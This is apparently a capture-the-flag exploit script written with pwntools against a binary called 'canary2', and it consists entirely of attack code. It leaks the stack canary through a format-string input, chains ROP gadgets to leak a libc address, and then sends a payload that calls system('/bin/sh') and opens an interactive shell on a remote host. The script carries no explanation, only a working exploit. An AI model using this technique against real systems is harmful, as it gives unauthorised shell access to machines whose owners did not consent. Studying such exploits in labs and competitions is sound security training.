1
from pwn import *
2
context.arch = 'amd64'
3
context.log_level = 'debug'
4
elf = ELF('./canary2')
5
libc_elf = ELF('./libc.so.6')
6
p = remote("ip",port)
7
#gdb.attach(p)
8

9
p.recvuntil(b'say:\n')
10
p.send(b'%19$p')
11
p.recvuntil(b'0x')
12
canary = int(p.recv(16),16)
13
success(f"Canary Leaked: {hex(canary)}")
14

15
ret = 0x40101a
16
pop_rdi = 0x401223
17
put_plt = elf.plt['puts']
18
put_got = elf.got['puts']
19
main = elf.symbols['main']
20

21
payload2 = b'A'*104 + p64(canary) + b'B'*8 + p64(pop_rdi) + p64(put_got) + p64(put_plt) + p64(main)
22

23
p.sendline(payload2)
24
p.recvuntil("Bye~\n")
25
libc_base = u64(p.recv(6).ljust(8,b"\x00")) - libc_elf.sym["puts"]
26
system = libc_base + libc_elf.sym['system']
27
binsh = libc_base + next(libc_elf.search(b'/bin/sh'))
28
success(f"Libc base: {hex(libc_base)}")
29
success(f"System: {hex(system)}")
30
success(f"/bin/sh: {hex(binsh)}")
31

32
p.recvuntil(b'say:\n')
33
p.send(b'%19$p')
34
p.recvuntil(b'0x')
35
canary2 = int(p.recv(16),16)
36

37
payload3 = b'A'*104 + p64(canary2) + b'B'*8 + p64(ret) + p64(pop_rdi) + p64(binsh) + p64(system)
38

39
p.sendline(payload3)
40

41
p.interactive()